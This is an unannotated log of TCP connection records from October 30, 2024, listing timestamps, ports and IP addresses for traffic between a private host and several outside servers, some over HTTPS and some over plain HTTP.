Oct 30, 2024 20:13:15.628366947 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:15.628551960 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:15.628566980 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:15.731431961 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.731632948 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.731710911 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:15.732364893 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:15.732383013 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.732397079 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:15.732404947 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.746236086 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.746305943 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.746336937 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.746350050 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.746361971 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.746450901 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.746596098 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.747026920 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.747113943 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.747121096 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.755081892 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.755136013 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.755150080 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.802130938 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.802143097 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.848898888 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.863090992 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.863152027 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.863553047 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.863560915 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.865889072 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.865932941 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.865938902 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.871660948 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.871741056 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.871747017 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.880405903 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.880450964 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.880456924 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.926724911 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.926731110 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.973560095 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.980195999 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.983283043 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.983324051 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.983328104 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.983335018 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.983376026 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.987420082 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.995923996 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.995973110 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.995979071 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.004782915 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.004851103 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.004879951 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.004909039 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.005105019 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.005117893 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.051703930 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.097392082 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.097598076 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.097649097 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.097687006 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.099978924 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.100061893 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.100090981 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.104389906 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.104470015 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.104497910 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.113038063 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.113095999 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.113130093 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.121864080 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.121929884 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.121932983 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.121958971 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.122100115 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.214335918 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.217071056 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.217159986 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.217192888 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.221287966 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.221326113 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.221379995 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.221407890 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.221487999 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.230022907 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.238766909 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.238806009 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.238833904 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.238867044 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.238897085 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.238913059 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.286067009 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.286102057 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.327465057 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.331562996 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.331589937 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.331671000 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.331698895 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.331751108 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.334477901 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.338495970 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.338547945 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.338572025 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.338593960 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.338677883 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.347178936 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.355932951 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.356031895 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.356054068 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.356090069 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.356141090 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.356152058 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.375334978 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.410676956 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.410703897 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.448820114 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.450159073 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.450179100 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.451513052 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.451597929 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.451603889 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.455420017 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.455606937 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.455615044 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.472999096 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473030090 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473066092 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.473076105 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473123074 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.473148108 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473275900 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473335028 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473365068 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.473371983 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.473448992 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.476439953 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.476656914 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.476686954 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.477004051 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.477062941 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.477617025 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.477665901 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.478646040 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.478703022 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.478918076 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.478926897 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.478944063 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.520087957 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.520097017 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.563968897 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.565867901 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.565957069 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.565965891 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.568820953 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.568927050 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.568933010 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.572621107 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.572645903 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.572684050 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.572693110 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.573007107 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.573012114 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.573050022 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.573060989 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:16.573108912 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.573108912 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:16.579304934 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579329014 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579335928 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579405069 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.579415083 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579428911 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579447031 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579467058 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579483032 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.579483032 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.579497099 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.579518080 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.579827070 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.579900980 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.579910040 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.580311060 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:16.580367088 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:16.758166075 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.801348925 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.801373005 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.802702904 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:16.802750111 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:16.802800894 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:17.338085890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:17.338334084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:17.344314098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:17.344726086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:17.344819069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:17.345032930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:17.345055103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:17.351444960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:17.351476908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:17.470858097 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:17.470876932 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:17.470891953 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:17.470900059 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:17.959225893 CET	49759	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:17.959252119 CET	443	49759	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:17.959320068 CET	49759	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:17.959697008 CET	49759	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:17.959716082 CET	443	49759	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:18.769218922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:18.769290924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:18.827404022 CET	443	49759	142.250.184.206	192.168.2.4
Oct 30, 2024 20:13:18.828965902 CET	49759	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:18.829061031 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:18.878793955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:18.878823996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:18.884337902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:18.884485960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:18.884520054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:19.540937901 CET	49723	80	192.168.2.4	93.184.221.240
Oct 30, 2024 20:13:19.546650887 CET	80	49723	93.184.221.240	192.168.2.4
Oct 30, 2024 20:13:19.546711922 CET	49723	80	192.168.2.4	93.184.221.240
Oct 30, 2024 20:13:19.665760040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:19.665849924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:19.693182945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:19.698600054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:20.467799902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:20.467871904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:20.884124994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:20.889648914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:21.675127983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:21.675204039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:21.886662960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:21.892158031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169378996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169440985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169459105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169477940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169523001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169523001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169578075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169614077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169622898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169658899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169684887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169718981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169753075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.169771910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169771910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.169822931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.170238018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.170291901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.170341969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.170341969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.170413971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.170459986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.170480967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.170543909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.323781967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.323952913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.323986053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324019909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324054956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324091911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324126959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324225903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.324225903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.324227095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.324763060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324798107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324835062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.324889898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.324889898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.325263023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.325315952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.325324059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.325351000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.325392962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.325392962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.325448990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.325500011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.325572968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.325642109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.326174974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.326244116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.446367979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446423054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446460009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446501017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.446533918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.446566105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446599960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446634054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446646929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.446671009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446687937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.446737051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.446737051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.446784973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.477931976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.477988005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478022099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478059053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.478105068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478218079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478305101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.478305101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.478375912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478410959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478496075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478543043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.478599072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.478599072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.478642941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.482404947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.567233086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567295074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567347050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567380905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567504883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.567504883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.567522049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567580938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567614079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567642927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.567693949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.567744017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567776918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.567794085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.567838907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.600014925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600076914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600112915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600147009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600183010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.600224972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.600229025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600263119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600292921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.600328922 CET	49758	80	192.168.2.4	185.215.113.206
